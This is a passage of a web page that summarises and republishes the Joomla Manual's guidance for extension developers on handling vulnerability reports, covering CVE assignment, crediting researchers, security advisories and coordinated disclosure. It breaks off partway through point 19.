&lt;h2&gt;What Does the New Manual Page Ask Developers to Do?&lt;/h2&gt;
&lt;p&gt;Read end to end, the twenty points fall into four groups.&lt;/p&gt;
&lt;p&gt;Points 1 and 2 are the only two you can finish today, with no incident in progress. Publish a security contact and a policy that says how reports are received, how fast you respond, how disclosure is coordinated and whether you credit reporters. Put a &lt;code&gt;SECURITY.md&lt;/code&gt; in the repository, and say explicitly that reports should not go in the public issue tracker.&lt;/p&gt;
&lt;p&gt;Once a report is live, points 3 to 8 take over. Acknowledge within one business day, assess within three to five, validate what is actually affected, score it with CVSS 4.0 rather than arbitrary labels, build the fix in a private branch with a regression test that fails before and passes after, and check whether the flaw reaches beyond your own code into a bundled library or another vendor’s product.&lt;/p&gt;
&lt;p&gt;Going public is points 9 to 15, and it is where Joomla extension vendors most often come unstuck. Agree a disclosure date rather than an indefinite embargo, request the CVE ID from &lt;code&gt;security@joomla.org&lt;/code&gt; before you publish so the first advisory has it, ask the reporter how they want to be credited and confirm the wording, publish a structured advisory with affected versions, fixed versions, severity, impact and timeline, and explain the flaw well enough for an administrator to assess their risk without handing out a working exploit.&lt;/p&gt;
&lt;p&gt;The last five deal with the aftermath. Push the notice through channels people actually watch, keep the changelog honest, preserve an internal timeline, handle already-public reports without treating the researcher as hostile, and state in writing that good-faith research will not be met with legal threats.&lt;/p&gt;
&lt;p&gt;The whole text follows.&lt;/p&gt;
&lt;h2&gt;The New Manual Page, Republished in Full&lt;/h2&gt;
&lt;div&gt;
  &lt;p&gt;Source, author and licence&lt;/p&gt;
  &lt;p&gt;Everything from here to the end of point 20 is the work of &lt;strong&gt;David Jardin&lt;/strong&gt;, Team Leader of the Joomla Security Strike Team, and the &lt;strong&gt;Joomla! Project&lt;/strong&gt;, taken from &lt;code&gt;docs/building-extensions/security.md&lt;/code&gt; as merged into the Joomla Manual by &lt;a href=&quot;https://github.com/joomla/Manual/pull/695&quot;&gt;pull request 695&lt;/a&gt; on 10 August 2026. It is republished here under the &lt;a href=&quot;https://docs.joomla.org/JEDL&quot;&gt;Joomla! Electronic Documentation License&lt;/a&gt;, which is the licence the Joomla Manual uses. No words have been changed. Documentation frontmatter and section rules were dropped, heading levels were mapped onto this page, four of the author&apos;s pull-quotes were restyled as callout boxes, and one relative link was rewritten to its live address on manual.joomla.org. Full attribution, licence notice and source-form links are in the footer below.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;Secure Coding Guidelines&lt;/h2&gt;
&lt;p&gt;For general information about security development of Joomla extensions, see the generic &lt;a href=&quot;https://manual.joomla.org/docs/next/security/fundamentals/&quot;&gt;Security&lt;/a&gt; section.&lt;/p&gt;
&lt;h2&gt;Policies and Best Practices&lt;/h2&gt;
&lt;p&gt;It’s barely a question &lt;em&gt;if&lt;/em&gt; your extension will ever have a security vulnerability, it’s just a matter of when. So, establishing security best practices, policies and workflows is a vital part of developing Joomla extensions.&lt;/p&gt;
&lt;h3&gt;1. Establish a clear security reporting channel&lt;/h3&gt;
&lt;p&gt;Every publicly available Joomla extension should provide an obvious way to report security vulnerabilities.&lt;/p&gt;
&lt;p&gt;Recommended:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A dedicated security contact such as &lt;code&gt;security@example.com&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;A &lt;code&gt;SECURITY.md&lt;/code&gt; file in the source repository&lt;/li&gt;
&lt;li&gt;A security page on the vendor website&lt;/li&gt;
&lt;li&gt;Clear instructions on what information should be included&lt;/li&gt;
&lt;li&gt;An explicit statement that security reports should &lt;strong&gt;not&lt;/strong&gt; be submitted through public issue trackers&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The reporting channel should ideally support encrypted communication for sensitive reports.&lt;/p&gt;
&lt;p&gt;A security policy should state:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;How reports are received&lt;/li&gt;
&lt;li&gt;Expected response times&lt;/li&gt;
&lt;li&gt;How vulnerabilities are handled&lt;/li&gt;
&lt;li&gt;How disclosure is coordinated&lt;/li&gt;
&lt;li&gt;Whether reporters are credited&lt;/li&gt;
&lt;li&gt;Whether CVE IDs are assigned&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;This follows the general principles of &lt;strong&gt;ISO/IEC 29147&lt;/strong&gt;, which covers receiving vulnerability reports and communicating remediation information.&lt;/p&gt;
&lt;h3&gt;2. Treat security reports confidentially&lt;/h3&gt;
&lt;p&gt;A vulnerability report should initially be treated as confidential.&lt;/p&gt;
&lt;p&gt;Do &lt;strong&gt;not&lt;/strong&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Create a public GitHub issue&lt;/li&gt;
&lt;li&gt;Publish the proof of concept&lt;/li&gt;
&lt;li&gt;Discuss the vulnerability publicly&lt;/li&gt;
&lt;li&gt;Include exploit details in public commit messages or changelogs&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;until a coordinated disclosure date has been agreed upon.&lt;/p&gt;
&lt;p&gt;Internally, the report should receive a unique tracking ID and have a clearly defined owner.&lt;/p&gt;
&lt;p&gt;A useful lifecycle is:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Reported&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;   ↓&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Acknowledged&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;   ↓&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Validated&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;   ↓&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Severity assessed&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;   ↓&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Fix developed&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;   ↓&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Fix verified&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;   ↓&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;CVE assigned&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;   ↓&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Coordinated disclosure&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;   ↓&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Public advisory&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;   ↓&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Post-disclosure monitoring&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;3. Acknowledge the reporter quickly&lt;/h3&gt;
&lt;p&gt;A reporter should receive an acknowledgement even if the vulnerability has not yet been validated.&lt;/p&gt;
&lt;p&gt;Recommended targets:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Within 1 business day:&lt;/strong&gt; acknowledge receipt&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Within 3–5 business days:&lt;/strong&gt; provide an initial assessment&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;During longer investigations:&lt;/strong&gt; provide regular status updates&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The acknowledgement should explain:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;That the report was received&lt;/li&gt;
&lt;li&gt;Who is handling it&lt;/li&gt;
&lt;li&gt;Whether additional information is required&lt;/li&gt;
&lt;li&gt;What the next steps are&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;4. Validate the vulnerability&lt;/h3&gt;
&lt;p&gt;The maintainer should establish:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Affected extension/component&lt;/li&gt;
&lt;li&gt;Affected versions&lt;/li&gt;
&lt;li&gt;Supported Joomla versions&lt;/li&gt;
&lt;li&gt;Attack prerequisites&lt;/li&gt;
&lt;li&gt;Required user privileges&lt;/li&gt;
&lt;li&gt;Whether authentication is required&lt;/li&gt;
&lt;li&gt;Whether user interaction is required&lt;/li&gt;
&lt;li&gt;Actual security impact&lt;/li&gt;
&lt;li&gt;Exploitability&lt;/li&gt;
&lt;li&gt;Whether the issue has already been publicly disclosed&lt;/li&gt;
&lt;li&gt;Whether another vendor or dependency is affected&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The reporter should be given the opportunity to provide additional technical information or a proof of concept.&lt;/p&gt;
&lt;h3&gt;5. Distinguish security bugs from ordinary bugs&lt;/h3&gt;
&lt;p&gt;Not every bug is a security vulnerability.&lt;/p&gt;
&lt;p&gt;Examples of typical security vulnerabilities include:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SQL Injection&lt;/li&gt;
&lt;li&gt;Cross-Site Scripting (XSS)&lt;/li&gt;
&lt;li&gt;Cross-Site Request Forgery (CSRF)&lt;/li&gt;
&lt;li&gt;Authentication bypass&lt;/li&gt;
&lt;li&gt;Authorization/access-control bypass&lt;/li&gt;
&lt;li&gt;Privilege escalation&lt;/li&gt;
&lt;li&gt;Arbitrary file upload&lt;/li&gt;
&lt;li&gt;Arbitrary file deletion&lt;/li&gt;
&lt;li&gt;Path traversal&lt;/li&gt;
&lt;li&gt;Remote or local code execution&lt;/li&gt;
&lt;li&gt;Sensitive information disclosure&lt;/li&gt;
&lt;li&gt;Insecure deserialization&lt;/li&gt;
&lt;li&gt;Server-Side Request Forgery (SSRF)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A vulnerability should be assessed based on its &lt;strong&gt;security impact&lt;/strong&gt;, not only on how severe the underlying coding mistake appears.&lt;/p&gt;
&lt;h3&gt;6. Assess severity consistently&lt;/h3&gt;
&lt;p&gt;Use a standardized scoring system rather than arbitrary labels such as “critical” or “minor”.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;CVSS 4.0&lt;/strong&gt; is the recommended standard for communicating vulnerability severity.&lt;/p&gt;
&lt;p&gt;At minimum, record:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;CVSS:4.0/...&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Base Score: 8.3&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Severity: High&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Also document the practical prerequisites, for example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Attack Vector: Network&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Privileges Required: Low&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;User Interaction: Required&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Affected functionality: Administrator&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Exploitability: Requires authenticated Joomla user&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Do not treat the CVSS Base Score as the complete risk assessment. Consider the actual deployment environment and current threat situation as well.&lt;/p&gt;
&lt;h3&gt;7. Develop the fix privately&lt;/h3&gt;
&lt;p&gt;The fix should be developed without exposing the vulnerability.&lt;/p&gt;
&lt;p&gt;Recommended practices:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Private branch&lt;/li&gt;
&lt;li&gt;Private repository where necessary&lt;/li&gt;
&lt;li&gt;Security-specific test cases&lt;/li&gt;
&lt;li&gt;Regression tests&lt;/li&gt;
&lt;li&gt;Review by at least one additional developer&lt;/li&gt;
&lt;li&gt;Testing against all supported Joomla versions&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The security fix should ideally include a regression test that:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Fails against the vulnerable implementation&lt;/li&gt;
&lt;li&gt;Passes against the fixed implementation&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;8. Consider downstream dependencies&lt;/h3&gt;
&lt;p&gt;A Joomla extension may itself contain or depend on other software.&lt;/p&gt;
&lt;p&gt;Before disclosure, check whether the vulnerability also affects:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Joomla itself&lt;/li&gt;
&lt;li&gt;Another Joomla extension&lt;/li&gt;
&lt;li&gt;A third-party PHP library&lt;/li&gt;
&lt;li&gt;JavaScript dependencies&lt;/li&gt;
&lt;li&gt;An API or external service&lt;/li&gt;
&lt;li&gt;Another vendor’s product&lt;/li&gt;
&lt;li&gt;Bundled or copied code&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If multiple parties are affected, use &lt;strong&gt;Coordinated Vulnerability Disclosure (CVD)&lt;/strong&gt; rather than disclosing independently.&lt;/p&gt;
&lt;h3&gt;9. Coordinate a disclosure date&lt;/h3&gt;
&lt;p&gt;The goal should not be to keep a vulnerability secret indefinitely.&lt;/p&gt;
&lt;p&gt;Instead, agree on a reasonable disclosure timeline.&lt;/p&gt;
&lt;p&gt;A practical model:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Day 0       Report received&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Day 1       Acknowledgement&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Day 3–5     Initial assessment&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;             ↓&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;             Fix development&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;             ↓&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;             CVE coordination&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;             ↓&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;             Fixed version released&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;             ↓&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;             Public advisory&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The exact timeline should depend on severity and exploitability.&lt;/p&gt;
&lt;p&gt;For a vulnerability that is already being exploited in the wild, the process should be accelerated substantially.&lt;/p&gt;
&lt;p&gt;For vulnerabilities affecting several vendors, the disclosure date should be coordinated between all relevant parties.&lt;/p&gt;
&lt;h3&gt;10. CVE IDs&lt;/h3&gt;
&lt;p&gt;A &lt;strong&gt;CVE ID identifies a vulnerability&lt;/strong&gt;, not a software release or a particular patch.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;CVE-2026-12345&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;is associated with the vulnerability itself.&lt;/p&gt;
&lt;p&gt;Do &lt;strong&gt;not&lt;/strong&gt; create a separate CVE only because different releases address the same vulnerability.&lt;/p&gt;
&lt;p&gt;Separate vulnerabilities should normally receive separate CVE IDs.&lt;/p&gt;
&lt;h4&gt;Joomla extensions&lt;/h4&gt;
&lt;p&gt;Joomla extension developers can request a CVE ID from the Joomla security team by contacting:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;security@joomla.org&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The CVE assignment should be coordinated with Joomla’s &lt;strong&gt;CVE Numbering Authority (CNA)&lt;/strong&gt; rather than inventing or requesting an arbitrary CVE number.&lt;/p&gt;
&lt;h3&gt;11. Assign the CVE before public disclosure&lt;/h3&gt;
&lt;p&gt;Ideally, the first public security advisory should already contain the CVE ID.&lt;/p&gt;
&lt;p&gt;Extension developers can request the CVE ID from:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;security@joomla.org&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;before public disclosure so that it can be included in the initial announcement.&lt;/p&gt;
&lt;p&gt;The CVE ID should be associated with the vulnerability and consistently referenced across:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Security advisory&lt;/li&gt;
&lt;li&gt;Changelog&lt;/li&gt;
&lt;li&gt;Release notes&lt;/li&gt;
&lt;li&gt;CVE record&lt;/li&gt;
&lt;li&gt;Joomla security communication&lt;/li&gt;
&lt;li&gt;Other relevant security databases&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Follow the current CVE Program and CNA publication requirements and coordinate embargoes where applicable.&lt;/p&gt;
&lt;h3&gt;12. Credit the security researcher&lt;/h3&gt;
&lt;p&gt;&lt;strong&gt;Always offer appropriate credit to the reporter.&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;This vulnerability was responsibly reported by&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Jane Doe (@janedoe).&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;We thank Jane for responsibly reporting this issue&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;and helping us improve the security of this extension.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;However:&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Never publish a reporter&apos;s name, handle, company or other identifying information without their consent.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Ask the reporter exactly how they want to be credited.&lt;/p&gt;
&lt;p&gt;Possible choices include:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Name:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Jane Doe&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Handle:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;@janedoe&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Organization:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Security Research Lab&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Anonymous:&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Yes&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Confirm that the proposed credit is acceptable before publication.&lt;/p&gt;
&lt;h3&gt;13. Publish a security advisory&lt;/h3&gt;
&lt;p&gt;Do not rely exclusively on a generic changelog such as:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;1.4.2&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;- Various bug fixes and improvements&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Publish a dedicated security advisory.&lt;/p&gt;
&lt;p&gt;A proper advisory should contain:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Security Advisory&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Product&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Example Joomla Extension&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Vulnerability&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Stored Cross-Site Scripting&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;CVE&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;CVE-2026-12345&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Affected Versions&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;1.0.0 – 1.4.1&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Fixed Versions&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;1.4.2 and later&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Severity&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;High&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;CVSS&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;CVSS:4.0/...&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Impact&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;An authenticated user with ... can ...&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Description&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;...&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Solution&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Update to version 1.4.2 or later.&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Credits&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Reported by Jane Doe.&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;Timeline&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;2026-07-01  Report received&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;2026-07-02  Vulnerability confirmed&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;2026-07-15  Fix released&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;2026-07-15  Advisory published&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Joomla’s own security advisories provide a useful model: they identify affected versions, impact, severity, exploit type, report/fix dates, CVE number, description, solution and reporter.&lt;/p&gt;
&lt;h3&gt;14. Tell users what they need to do&lt;/h3&gt;
&lt;p&gt;The most important information for users is:&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Am I affected, and what should I do?&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Every advisory should clearly state:&lt;/p&gt;
&lt;h4&gt;Affected versions&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Versions 2.0.0 through 2.4.7 are affected.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Fixed versions&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Upgrade to 2.4.8 or later.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Recommended action&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;All users running an affected version should update immediately.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If updating is not possible, provide a mitigation where one genuinely exists.&lt;/p&gt;
&lt;p&gt;For example:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Until the extension can be updated, disable the affected&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;administrator endpoint.&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Do not recommend a mitigation that has not been tested.&lt;/p&gt;
&lt;h3&gt;15. Explain the vulnerability without unnecessarily publishing an exploit&lt;/h3&gt;
&lt;p&gt;A security advisory should provide enough information for administrators to understand the risk.&lt;/p&gt;
&lt;p&gt;It should answer:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;What is the vulnerability?&lt;/li&gt;
&lt;li&gt;Who can exploit it?&lt;/li&gt;
&lt;li&gt;Is authentication required?&lt;/li&gt;
&lt;li&gt;What can an attacker accomplish?&lt;/li&gt;
&lt;li&gt;Which versions are affected?&lt;/li&gt;
&lt;li&gt;Is exploitation known?&lt;/li&gt;
&lt;li&gt;How can users fix it?&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;A vendor does &lt;strong&gt;not necessarily need to publish a working exploit/PoC&lt;/strong&gt; immediately.&lt;/p&gt;
&lt;p&gt;Especially for high-impact vulnerabilities, avoid publishing exploit details that materially increase the risk to users who have not yet updated.&lt;/p&gt;
&lt;p&gt;The principle should be:&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Transparency sufficient for risk assessment, without unnecessarily increasing exploitability.&lt;/p&gt;
&lt;/div&gt;
&lt;h3&gt;16. Notify users through appropriate channels&lt;/h3&gt;
&lt;p&gt;Security fixes should be communicated through channels users actually monitor.&lt;/p&gt;
&lt;p&gt;Depending on the extension:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Extension update mechanism&lt;/li&gt;
&lt;li&gt;Joomla Extension Directory&lt;/li&gt;
&lt;li&gt;Vendor website&lt;/li&gt;
&lt;li&gt;Security advisory page&lt;/li&gt;
&lt;li&gt;Mailing list&lt;/li&gt;
&lt;li&gt;RSS feed&lt;/li&gt;
&lt;li&gt;GitHub Security Advisory&lt;/li&gt;
&lt;li&gt;Newsletter&lt;/li&gt;
&lt;li&gt;Social media, where appropriate&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The Joomla Security Centre provides a public security announcement feed that users can subscribe to.&lt;/p&gt;
&lt;p&gt;For particularly severe vulnerabilities, do not rely exclusively on a changelog.&lt;/p&gt;
&lt;h3&gt;17. Do not hide security fixes in vague language&lt;/h3&gt;
&lt;p&gt;Avoid:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Various bug fixes and improvements&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;when a security vulnerability was fixed.&lt;/p&gt;
&lt;p&gt;Prefer:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;Security: Fixed an authenticated SQL injection vulnerability&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;in the administrator filtering functionality.&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;CVE-2026-12345&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Security transparency helps users make informed decisions about updates.&lt;/p&gt;
&lt;h3&gt;18. Preserve the disclosure timeline&lt;/h3&gt;
&lt;p&gt;Maintain an internal timeline for every security issue:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;2026-07-01  Vulnerability reported&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;2026-07-01  Report acknowledged&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;2026-07-03  Vulnerability confirmed&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;2026-07-04  CVE requested&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;2026-07-08  Fix completed&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;2026-07-10  Fix provided to reporter for verification&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;2026-07-12  Fixed release published&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;2026-07-12  CVE published&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;2026-07-12  Security advisory published&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This is useful for:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Internal audits&lt;/li&gt;
&lt;li&gt;Communication with researchers&lt;/li&gt;
&lt;li&gt;CVE records&lt;/li&gt;
&lt;li&gt;Incident response&lt;/li&gt;
&lt;li&gt;Process improvements&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;19. Handle reports that are already public&lt;/h3&gt;
&lt;p&gt;Sometimes a researcher publishes a vulnerability before contacting the vendor.&lt;/p&gt;
&lt;p&gt;Do not automatically treat this as malicious.&lt;/p&gt;
&lt;p&gt;Instead:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Acknowledge the report&lt;/li&gt;
